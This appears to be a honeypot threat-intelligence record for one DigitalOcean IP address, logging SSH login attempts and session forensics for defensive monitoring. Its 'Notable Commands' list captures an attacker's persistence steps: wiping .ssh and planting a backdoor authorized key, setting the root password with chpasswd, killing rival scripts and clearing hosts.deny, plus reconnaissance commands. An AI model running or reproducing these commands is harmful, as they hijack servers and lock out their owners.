134.122.121.56
Location
🇺🇸 US / North Bergen
ASN
AS14061 · DigitalOcean, LLC
Cloud Provider
DigitalOcean
Total Events
113
Above average by volume
Agent Count
1
First / Last Seen
2026-03-05 03:38 — 2026-03-11 18:57
Attack Types
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
11 (1 with login)
Avg Depth Score
0.41
Commands Executed
20
Files Downloaded
2
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:shUj2zQCuN8i"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
Fingerprints
HASSH
SSH Client
Recent Events (last 50)
| Timestamp | Port | Proto | Event | Location |
|---|---|---|---|---|
| 2026-03-11 18:57:26 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:57:25 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:57:25 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:57:25 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:57:25 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-11 18:54:44 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:54:43 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:54:43 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:54:43 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:54:43 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-11 18:51:58 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:51:57 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:51:57 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:51:57 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:51:57 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-11 18:46:34 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:46:33 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:46:32 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:46:32 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:46:32 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-11 18:43:55 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:43:54 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:43:54 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:43:54 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:43:54 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-11 18:41:07 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:41:06 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:41:05 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:41:05 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:41:05 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-11 18:38:23 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:38:22 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:38:22 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:38:21 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:38:21 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-11 18:35:37 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:35:35 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:35:35 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:35:35 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:35:35 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-11 18:29:23 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-11 18:29:22 | :22 | ssh | cowrie.login.failed | sea |
| 2026-03-11 18:29:21 | :22 | ssh | cowrie.client.kex | sea |
| 2026-03-11 18:29:21 | :22 | ssh | cowrie.client.version | sea |
| 2026-03-11 18:29:21 | :22 | ssh | cowrie.session.connect | sea |
| 2026-03-05 03:38:16 | :22 | ssh | cowrie.session.closed | sea |
| 2026-03-05 03:38:16 | :22 | ssh | cowrie.log.closed | sea |
| 2026-03-05 03:38:16 | :22 | ssh | cowrie.command.input | sea |
| 2026-03-05 03:38:16 | :22 | ssh | cowrie.session.params | sea |
| 2026-03-05 03:38:15 | :22 | ssh | cowrie.log.closed | sea |